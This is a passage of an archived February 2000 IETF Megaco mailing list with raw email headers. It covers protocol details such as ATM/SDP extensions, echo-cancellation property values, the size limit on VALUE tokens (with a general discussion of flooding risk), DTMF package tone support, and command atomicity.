tables into an SDP extension with the same capability. This was "accepted" by the Megaco group, but it too has not gone through the effort to register any tags, write up any I-Ds seeking to change SDP, etc. Nortel produced an I-D that slightly reworked the MSF proposal for how the SDP would work. They say they plan an update to that, along with a proposal for an ATM package. Cisco has started work on extending MGCP/SDP for ATM, which I understand is the genesis of the work on the ISC's plate. I believe that it should be possible to have the SDP changes, and the package definition be close to identical for MGCP and Megaco. I propose that ISC, MSF, Cisco and Nortel work together to produce an I-D defining what is needed to make this happen. To that end, I will start a mailing list for this activity. The starting members are: Brian Rosen brosen@fore.com Michael Brown mahubbard@nortelnetworks.com Rajesh Kumar rkumar@cisco.com I'll also include Tom Taylor taylor@nortelnetworks.com (Megaco WG chair) Charles Eckel ceckel@vovida.com (ISC MGCP WG chair) Petros Mouchtaris pmouchta@telcordia.com (MSF Media WG chair) John Segers jsegers@lucent.com (ITU H.248 editor) If anyone else wants to be on the list, send me a message. I'll ask Michael Brown to put Nortel's current ideas on this list I'll ask Rajesh to put Cisco's thoughts on the list I'll dump the MSF message on this list I suggest you look at Annex C of the v14 version of Megaco for updated tables, and note that CID is missing from AAL1 and AAL2. I would think we could get this done in two weeks, and send it off. NOTE: I've made the distribution of this email quite wide, to let everyone possibly interested aware of what is happening. You might not want to REPLY-ALL!!! Brian > -----Original Message----- > From: Charles Eckel [mailto:ceckel@vovida.com] > Sent: Wednesday, February 02, 2000 7:09 PM > To: isc_tac@inventures.com > Subject: RTP/SDP descriptor strings > > > The Device Control work group is currently drafting an ATM package for > inclusion in the MGCP specification. One issue we know will > require some > attention is the definition of new SDP descriptor strings > corresponding > to new media which are needed for, but not specific to, ATM. Are there > any resources within the ISC which can assist us in getting the > necessary update to RFC 1890 and/or RFC 2327 drafted and submitted? > Better yet, do you know of anything which is already being done by > another group (eg. the MSF)? > -- > Charles Eckel > Senior Engineer mailto:ceckel@vovida.com > Vovida Networks, Inc. phone:(408)941-1743 > http://www.vovida.com fax:(408)941-1791 > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 10:56:46 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21122 for ; Thu, 3 Feb 2000 10:56:44 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FAE15790@standards.nortelnetworks.com>; Thu, 3 Feb 2000 10:54:01 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 21188 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 10:53:56 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.F7A602B0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 10:53:56 -0500 Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 09:54:57 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Thu, 3 Feb 2000 10:54:21 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1D5VBP33>; Thu, 3 Feb 2000 10:54:21 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6E5E.EF75D9C4" Message-ID: Date: Thu, 3 Feb 2000 10:52:59 -0500 Reply-To: Nancy-M Greene Sender: "Media Gateway Control (megaco)" From: Nancy-M Greene Subject: E.13.1 echo cancellation X-cc: "brosen@eng.fore.com" , Tom-PT Taylor , Graeme Gibbs To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6E5E.EF75D9C4 Content-Type: text/plain Errata in v14 E.13.1: Instead of just allowing Echo Cancellation to be "on", or "off", we need to allow these possibilities: Permanently enabled: "on" Permanently disabled: "off" Enabled but conformant to G.165/G.168: "g165" Enabled but conformant to G.164: "g164" Default is "g165". Here is the text to be changed in E.13.1 (in blue, if you see it): E.13.1 Properties Echo Cancellation PropertyID: ec (0x0008) By default, the telephony gateways always perform echo cancellation according to G.165/G.168. However, it is necessary, for some calls, to turn off these operations. Type: enumerated Possible Values: "on" (when the echo cancellation is permanently enabled and will disregard any incoming tones) "g165" (when ec is according to G.165/G.168: ec is on, but will turn itself off when it sees a 2100Hz tone with phase reversal (i.e. a CED fax tone, or an ANS modem tone) "g164" (when ec is according to G.164) "off" (when it is turned off.) The default is "g165". Defined In: LocalControlDescriptor Characteristics: read/write Nancy -------------------------------------------------------------------------- Nancy M. Greene Internet & Service Provider Networks, Nortel Networks T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com ------_=_NextPart_001_01BF6E5E.EF75D9C4 Content-Type: text/html Content-Transfer-Encoding: quoted-printable E.13.1 echo cancellation

Errata in v14 E.13.1:
Instead of just allowing Echo = Cancellation to be  "on", or "off", we need to = allow these possibilities:

Permanently enabled: = "on" 
Permanently disabled: = "off"
Enabled but conformant to = G.165/G.168: "g165"
Enabled but conformant to G.164: = "g164"

Default is "g165".


Here is the text to be changed in = E.13.1 (in blue, if you see = it):

E.13.1  = Properties
Echo Cancellation

      PropertyID: ec (0x0008)
      By default, the telephony gateways = always perform echo cancellation according to
      G.165/G.168. However, it = is necessary, for some calls, to turn off these operations.
      Type: enumerated
      Possible Values:

          "on" (when the echo = cancellation is permanently enabled and will disregard any
          incoming = tones)
          "g165" = (when ec is according to G.165/G.168: ec is on, but will turn
          itself off when it = sees a 2100Hz tone with phase reversal (i.e. a CED fax tone, or an =
          ANS modem = tone)
          "g164" = (when ec is according to G.164)
          "off" (when it is turned = off.)
          The default is "g165".

        Defined In: LocalControlDescriptor
        Characteristics: read/write


Nancy


-----------------------------------------------------------------= ---------
Nancy M. Greene
Internet & Service = Provider Networks, Nortel Networks
T:514-271-7221 = (internal:ESN853-1077) E:ngreene@nortelnetworks.com

------_=_NextPart_001_01BF6E5E.EF75D9C4-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 11:15:46 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21574 for ; Thu, 3 Feb 2000 11:15:45 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A4A2E9E0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 11:13:05 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 21227 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 11:11:28 -0500 Received: from auemlsrv.firewall.lucent.com (192.11.223.161) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6A9AF4E0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 11:11:28 -0500 Received: from auemlsrv.firewall.lucent.com (localhost [127.0.0.1]) by auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id LAA04392 for ; Thu, 3 Feb 2000 11:13:36 -0500 (EST) Received: from hzsms01.nl.lucent.com (h135-85-32-31.lucent.com [135.85.32.31]) by auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id LAA04357 for ; Thu, 3 Feb 2000 11:13:35 -0500 (EST) Received: by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id RAA12612; Thu, 3 Feb 2000 17:13:34 +0100 (MET) Received: from lucent.com by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id RAA12588; Thu, 3 Feb 2000 17:13:32 +0100 (MET) X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 References: <3899997D.BDD05901@americasm01.nt.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <3899A8CB.5A1E7FF5@lucent.com> Date: Thu, 3 Feb 2000 17:11:55 +0100 Reply-To: John Segers Sender: "Media Gateway Control (megaco)" From: John Segers Organization: Lucent Technologies Subject: Re: maximum size of a VALUE To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit Abdallah, I feel 128 and 256 are still overly restrictive. If you have text-to-speech capability in your MG, you wouldn't be able to have announcements that are longer than 128/256 characters. The malicious code problem only becomes important if you allow values that contain code to be executed by the MG. I would like to have scripting, but it isn't in the protocol. And if it were, I wouldn't want script size to be restricted to 256 characters. John Abdallah Rayhan wrote: > > > Not too fast. I believe couple of the issues were considered when 64 > was > decided; efficiency and security. We dont have max msg size > restriction. A > user could cause buffering flooding intentionally if VALUE is huge, > not to > mention parsing a msg with huge VALUEs. This could reduce the > efficiency > dramatically. Also, what if VALUE is used to pass malicious code > through > a firewall. If VALUE is unlimited, we could be jeopardizing security. > If 64 is > too small we could increase it to 128 or 256 but not unlimited. > > Abdallah Rayhan > > "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote: > > > > > > > Looks like a good one for "errata". > > > > -----Original Message----- > > From: Steven Magnell [SMTP:magnells@DIALOGIC.COM] > > Sent: Wednesday, February 02, 2000 7:20 PM > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > Subject: maximum size of a VALUE > > > > This may be minor compared to other issues, but it seems that > > the maximum > > size of a VALUE is 64 characters (not including quotes) in the > > ABNF syntax. > > It should be larger, perhaps arbitrary. The ASN.1 definition of > > Value does > > not have this limitation. > > > > While this does not seem to be a concern with the basic > > packages, looking > > ahead to upcoming packages such as the display and text > > telephone packages > > in the otherpkgs draft and the cromwell ARF draft, there is a > > need to > > support longer strings. The text telephone package, for > > example, defines > > string parameters with a maximum of 256 characters and the > > others have > > strings of arbitrary length where some larger string, such as a > > display or > > text-to-speech announcement, would certainly be reasonable. > > > > steve magnell > > -- John Segers email: jsegers@lucent.com Lucent Technologies Room HE 306 Dept. Forward Looking Work phone: +31 35 687 4724 P.O. Box 18, 1270 AA Huizen fax: +31 35 687 5954 From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 11:40:06 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA22206 for ; Thu, 3 Feb 2000 11:40:05 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.00DEF200@standards.nortelnetworks.com>; Thu, 3 Feb 2000 11:37:08 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 21268 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 11:35:32 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C7661DA0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 11:35:32 -0500 Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 10:37:37 -0600 Received: from zrchb213.us.nortel.com by zmers013; Thu, 3 Feb 2000 11:37:11 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1F2TK234>; Thu, 3 Feb 2000 10:37:08 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6E64.E9128BF8" Message-ID: <29400B68197CD31188830000F8CD15D343BC08@zcard00q.ca.nortel.com> Date: Thu, 3 Feb 2000 10:37:05 -0600 Reply-To: Peter Blatherwick Sender: "Media Gateway Control (megaco)" From: Peter Blatherwick Subject: Re: Cisco SG16: Annex E comments X-To: "Rosen, Brian" , Tom-PT Taylor To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6E64.E9128BF8 Content-Type: text/plain Actually, we're talking about E.6 here, DTMF Detection Package, aren't we? (Not E.4) While I certainly agree with the general all-or-nothing approach in packages, this must always be balanced with not burdening low cost devices if at all possible. In this case though, I expect virtually all real life implementations would be DSP based or equivalent, so there is no cost difference to support the full range of tones. Therefore, I support single DTMF detection package with da-dd support mandatory. I should point out though that this is not the same logic that led to the current text as we worked it through at Red Bank. If I remember correctly (adjust time-frame to 03:00 or so ;-), we reasoned that actual application use of da-dd is quite uncommon, and if the MGC really needed da-dd, it could audit to figure out if its supported by doing AuditCap(ObservedEvents). We therefore opted to make this range optional, to not burdening all for the needs of few and not creating extra packages. I prefer the mandatory solution, since I think its cleaner, but if there's any objection at all on cost basis then we should revert to keeping it optional as it is now, following Red Bank logic. I'm ok with either really, but would not favour creation of an extra package. NOTE: A very similar issue arises in E.5, Basic DTMF Generator Package, but nothing is said about optional tones. This may be a mistake, since I think the original intent was to use the same approach here. Whichever way the decision on E.6 goes, E.5 should be the same. Following the same logic as above, we should simplify and make da-dd mandatory in E.5 as well (ie no change from the way it is now). Again, i'm ok with either. Another tiny nit on these: E.6 title should be "Basic DTMF Detection Package", to line up with E.5. BTW, in general IP Phone would not use Tone Detect, but Res GWs certainly would. Both would use Tone Generate. -- Peter > -----Original Message----- > From: Rosen, Brian [SMTP:brosen@FORE.COM] > Sent: 3 Feb, 2000 09:07 > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: Cisco SG16: Annex E comments > > I'm okay with making da-dd mandatory. I suppose it's a residential GW > and/or IPPhone that might care. > The packetcable stuff makes it mandatory, right? Any reaction from the > IPPhone folks? > > Brian > > -----Original Message----- > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com] > Sent: Wednesday, February 02, 2000 3:18 PM > To: MEGACO@standards.nortelnetworks.com > Subject: Re: Cisco SG16: Annex E comments > > > > Another issue, which has been discussed. The package is broken as > it stands -- the MGC cannot tell whether the da-dd events are supported. > We have three alternatives: the two Chip proposes, or keep things as they > are and add a global read-only property which indicates whether da-dd are > supported. I favour making support of da-dd mandatory, on the ground that > the phone types served by the MG are independent of the MG itself. > > -----Original Message----- > From: Chip Sharp [SMTP:chsharp@CISCO.COM] > Sent: Tuesday, January 25, 2000 8:18 PM > [[TomT]] snip > Section: E.4 > Category: Technical > Issue: The draft text specifies that "Support of dA-dD is > optional". > Having optional events in a package tends to defeat the purpose of > packages > in the first place. > Proposal: It is recommended that either support for the > signals become > mandatory or they are provided in a separate package. > > v13 Status: OPEN. No relevant text changed. > > ------_=_NextPart_001_01BF6E64.E9128BF8 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: Cisco SG16: Annex E comments

Actually, we're = talking about E.6 here, DTMF Detection Package, aren't we?  (Not = E.4)  

While I certainly = agree with the general all-or-nothing approach in packages, this must = always be balanced with not burdening low cost devices if at all = possible.  In this case though, I expect virtually all real life = implementations would be DSP based or equivalent, so there is no cost = difference to support the full range of tones.  Therefore, I = support single DTMF detection package with da-dd support = mandatory. 

I should point out = though that this is not the same logic that led to the current text as = we worked it through at Red Bank.  If I remember correctly (adjust = time-frame to 03:00 or so ;-), we reasoned that actual application use = of da-dd is quite uncommon, and if the MGC really needed da-dd, it = could audit to figure out if its supported by doing = AuditCap(ObservedEvents).  We therefore opted to make this range = optional, to not burdening all for the needs of few and not creating = extra packages.  

I prefer the = mandatory solution, since I think its cleaner, but if there's any = objection at all on cost basis then we should revert to keeping it = optional as it is now, following Red Bank logic.  I'm ok with = either really, but would not favour creation of an extra package.  =

NOTE: A very similar = issue arises in E.5, Basic DTMF Generator Package, but nothing is said = about optional tones.  This may be a mistake, since I think the = original intent was to use the same approach here.  Whichever way = the decision on E.6 goes, E.5 should be the same.  Following the same logic as above, we should = simplify and make da-dd mandatory in E.5 as well (ie no change from the = way it is now).  Again, i'm ok with either. 

Another tiny nit on = these: E.6 title should be "Basic DTMF Detection = Package", to line up with E.5. 

BTW, in general IP = Phone would not use Tone Detect, but Res GWs certainly would.  = Both would use Tone Generate. 

-- Peter
 

    -----Original Message-----
    From:   Rosen, Brian [SMTP:brosen@FORE.COM]
    Sent:   3 Feb, 2000 09:07
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = Re: Cisco SG16: Annex E = comments

    I'm okay with making = da-dd mandatory.=A0 I suppose it's a residential GW and/or IPPhone that = might care.
    The packetcable = stuff makes it mandatory, right?=A0 Any reaction from the IPPhone = folks?
    =A0
    Brian

      -----Original Message-----
      From: Tom-PT Taylor [mailto:taylor@nortelnetworks.c= om]
      Sent: Wednesday, February 02, 2000 3:18 PM
      To: MEGACO@standards.nortelnetworks.com
      Subject: Re: Cisco SG16: Annex E comments

      Another issue, which = has been discussed.=A0 The package is broken as it stands -- the MGC = cannot tell whether the da-dd events are supported.=A0 We have three = alternatives: the two Chip proposes, or keep things as they are and add = a global read-only property which indicates whether da-dd are = supported.=A0 I favour making support of da-dd mandatory, on the ground = that the phone types served by the MG are independent of the MG = itself.

              -----Original Message-----
      From:=A0=A0 Chip Sharp = [SMTP:chsharp@CISCO.COM]
      Sent:=A0=A0 Tuesday, January = 25, 2000 8:18 PM
      [[TomT]]=A0 snip
      Section:=A0=A0=A0=A0=A0=A0=A0 = E.4
      Category:=A0=A0=A0=A0=A0=A0 = Technical
      Issue:=A0=A0=A0=A0=A0=A0=A0=A0=A0 = The draft text specifies that "Support of dA-dD is = optional".
      Having optional events in a = package tends to defeat the purpose of packages
      in the first place.
      Proposal:=A0=A0=A0=A0=A0=A0 It is = recommended that either support for the signals become
      mandatory or they are provided in = a separate package.

              v13 Status:=A0=A0=A0=A0 OPEN. No relevant text = changed.


------_=_NextPart_001_01BF6E64.E9128BF8-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 12:48:01 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24791 for ; Thu, 3 Feb 2000 12:48:01 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.8664D5D0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 12:45:18 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 21376 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 12:43:29 -0500 Received: from ietf.org (132.151.1.176) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.DF99D1C0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 12:33:28 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24319; Thu, 3 Feb 2000 12:35:28 -0500 (EST) Message-ID: <200002031735.MAA24319@ietf.org> Date: Thu, 3 Feb 2000 12:35:28 -0500 Reply-To: The IESG Sender: "Media Gateway Control (megaco)" Comments: RFC822 error: CC field duplicated. Last occurrence was retained. Comments: RFC822 error: CC field duplicated. Last occurrence was retained. Comments: RFC822 error: Incorrect or incomplete address field found and ignored. From: The IESG Subject: Document Action: Media Gateway Control Protocol Architecture and Requirements to Informational To: MEGACO@STANDARDS.NORTELNETWORKS.COM The IESG has approved the Internet-Draft 'Media Gateway Control Protocol Architecture and Requirements' as an Informational RFC. This document is the product of the Media Gateway Control Working Group. The IESG contact persons are Scott Bradner and Vern Paxson From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 13:29:11 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA26133 for ; Thu, 3 Feb 2000 13:29:10 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.425F4B80@standards.nortelnetworks.com>; Thu, 3 Feb 2000 13:26:21 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 21408 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 13:24:34 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.030AD4E0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 13:24:34 -0500 Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 12:26:30 -0600 Received: from zrchb213.us.nortel.com by zmers013; Thu, 3 Feb 2000 13:26:08 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1F2TKMFR>; Thu, 3 Feb 2000 12:26:06 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6E74.223379A6" Message-ID: Date: Thu, 3 Feb 2000 12:25:56 -0600 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: maximum size of a VALUE X-To: Abdallah Rayhan To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6E74.223379A6 Content-Type: text/plain Your security argument presumably applies to messages from the MG, which is the end which might be in the hands of an user (e.g. a residential gateway). I think there is a more general issue here -- even without large message sizes, the MG could emit a large number of individual messages if it wants to flood the MGC. We may want an implementation note that the MGC be able to defend itself from such attacks, but I don't think we should limit the protocol just for this reason. I'd say at this point that we should raise the limit. As a precedent, here is what SIP (RFC 2543) has to say: Unlike HTTP, SIP MAY use UDP. When sent over TCP or UDP, multiple SIP transactions can be carried in a single TCP connection or UDP datagram. UDP datagrams, including all headers, SHOULD NOT be larger than the path maximum transmission unit (MTU) if the MTU is known, or 1500 bytes if the MTU is unknown. > -----Original Message----- > From: Rayhan, Abdallah [CAR:5N00:EXCH] [SMTP:arayhan@americasm01.nt.com] > Sent: Thursday, February 03, 2000 10:07 AM > To: Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904] > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: maximum size of a VALUE > > > Not too fast. I believe couple of the issues were considered when 64 was > decided; efficiency and security. We dont have max msg size restriction. A > > user could cause buffering flooding intentionally if VALUE is huge, not to > > mention parsing a msg with huge VALUEs. This could reduce the efficiency > dramatically. Also, what if VALUE is used to pass malicious code through > a firewall. If VALUE is unlimited, we could be jeopardizing security. If > 64 is > too small we could increase it to 128 or 256 but not unlimited. > > Abdallah Rayhan > > "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote: > > > > Looks like a good one for "errata". > > -----Original Message----- > From: Steven Magnell [SMTP:magnells@DIALOGIC.COM] > Sent: Wednesday, February 02, 2000 7:20 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: maximum size of a VALUE > > This may be minor compared to other issues, but it seems > that the maximum > size of a VALUE is 64 characters (not including quotes) in the ABNF > syntax. > It should be larger, perhaps arbitrary. The ASN.1 definition of > Value does > not have this limitation. > > While this does not seem to be a concern with the basic > packages, looking > ahead to upcoming packages such as the display and text telephone > packages > in the otherpkgs draft and the cromwell ARF draft, there is a need > to > support longer strings. The text telephone package, for example, > defines > string parameters with a maximum of 256 characters and the others > have > strings of arbitrary length where some larger string, such as a > display or > text-to-speech announcement, would certainly be reasonable. > > steve magnell > ------_=_NextPart_001_01BF6E74.223379A6 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: maximum size of a VALUE

Your security = argument presumably applies to messages from the MG, which is the end = which might be in the hands of an user (e.g. a residential = gateway).  I think there is a more general issue here -- even = without large message sizes, the MG could emit a large number of = individual messages if it wants to flood the MGC.  We may want an = implementation note that the MGC be able to defend itself from such = attacks, but I don't think we should limit the protocol just for this = reason.

I'd say at this = point that we should raise the limit.  As a precedent, here is = what SIP (RFC 2543) has to say:

   Unlike HTTP, SIP = MAY use UDP. When sent over TCP or UDP, multiple SIP
   transactions can = be carried in a single TCP connection or UDP
   datagram. UDP = datagrams, including all headers, SHOULD NOT be larger
   than the path = maximum transmission unit (MTU) if the MTU is known, or
   1500 bytes if the = MTU is unknown.


    -----Original Message-----
    From:   Rayhan, Abdallah [CAR:5N00:EXCH] = [SMTP:arayhan@americasm01.nt.com]
    Sent:   Thursday, February 03, 2000 10:07 AM
    To:     Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]
    Cc:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = Re: maximum size of a VALUE

    =A0
    Not too fast. I believe couple of the issues were considered when 64 = was
    decided; efficiency and security. We dont have max msg size = restriction. A
    user could cause buffering flooding intentionally if VALUE is huge, not = to
    mention parsing a msg with huge VALUEs. This could reduce the = efficiency
    dramatically. Also, what if VALUE is used to pass malicious code = through
    a firewall. If VALUE is unlimited, we could be jeopardizing security. = If 64 is
    too small we could increase it to 128 or 256 but not unlimited.

    Abdallah Rayhan

    "Taylor, Tom-PT (P.T.) = [EXCHANGE:CAR:B904]" wrote:

      =A0

      Looks like a good = one for "errata".

              -----Original Message-----
      From:=A0=A0 Steven Magnell = [SMTP:magnells@DIALOGIC.COM]
      Sent:=A0=A0 Wednesday, = February 02, 2000 7:20 PM
      To:=A0=A0=A0=A0 MEGACO@STANDARDS.NORTELNETWORKS.COM
      Subject:=A0=A0=A0=A0=A0=A0=A0 maximum size of a = VALUE

              This may be minor compared to other issues, but it seems = that the maximum
      size of a VALUE is 64 characters = (not including quotes) in the ABNF syntax.
      It should be larger, perhaps = arbitrary. The ASN.1 definition of Value does
      not have this = limitation.

              While this does not seem to be a concern with the basic = packages, looking
      ahead to upcoming packages such as = the display and text telephone packages
      in the otherpkgs draft and the = cromwell ARF draft, there is a need to
      support longer strings. The text = telephone package, for example, defines
      string parameters with a maximum = of 256 characters and the others have
      strings of arbitrary length where = some larger string, such as a display or
      text-to-speech announcement, would = certainly be reasonable.

              steve magnell

------_=_NextPart_001_01BF6E74.223379A6-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 14:21:34 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27451 for ; Thu, 3 Feb 2000 14:21:30 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.8E04D170@standards.nortelnetworks.com>; Thu, 3 Feb 2000 14:18:34 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 21515 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 14:17:31 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.0285DEB0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 14:07:30 -0500 Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 13:07:42 -0600 Received: from zcard015.ca.nortel.com by zmers013; Thu, 3 Feb 2000 14:07:26 -0500 Received: from zrtpd00z.us.nortel.com ([47.140.224.110]) by zcard015.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 1D8XGXVF; Thu, 3 Feb 2000 14:07:26 -0500 Received: from nortelnetworks.com (pnc1m006.us.nortel.com [47.142.208.218]) by zrtpd00z.us.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 1D90CL2A; Thu, 3 Feb 2000 14:07:26 -0500 X-Sender: "Michael Brown" X-Mailer: Mozilla 4.7 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 References: <4FBEA8857476D311A03300204840E1CF1A0C78@whq-msgusr-02.fore.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <3899D28E.95065E58@nortelnetworks.com> Date: Thu, 3 Feb 2000 14:10:06 -0500 Reply-To: Michael Brown Sender: "Media Gateway Control (megaco)" From: Michael Brown Organization: Nortel Networks Subject: Re: Cisco SG16: Command Atomicity X-To: "Rosen, Brian" To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit I apologize for the delay in responding to this thread and thank Tom for the gentle nudge to do so. As he indicated, I continue to believe that the intent of command atomicity, that is, the "ability of the MG to rollback a failed command to result in a well known state", is unrealizable. The primary reasons are the level of intelligence which must be resident in the MG in order to do this and the inability to make a simple definitive statement about what a "well known state" is. Regarding the level of intelligence, the MG essentially would have to have a knowledge of call state and behavior in order to provide a rollback behavior. I believe this is inappropriate for the MG. It is up to the MGC to understand that, within the context of call state, what actions need to be taken given the failure of a particular command. Bottom line is that I don't believe that reacting to a command failure is as simple as undoing what had been done so far. For that reason, I don't believe that making transactions atomic really makes this problem significantly different. As Brian suggested, it would be easier than trying to rollback multiple commands in a transaction, but it doesn't change the above reasons for not attempting to provide rollback. I think that to address the need for clarification, it would be better to add a paragraph to section 8, p. 47, paragraph 3, to describe this behavior: "If the MG is not able to successfully execute the command, but was able to accomplish some of the work indicated by the command, it should not attempt to "roll-back" to the state before this command. The MGC is responsible for determining the action to be performed based on the command failure. The MGC could, if necessary, audit the termination to determine the current state of the MG. E.g., if the MG failed on a previous command that had an events descriptor, the events 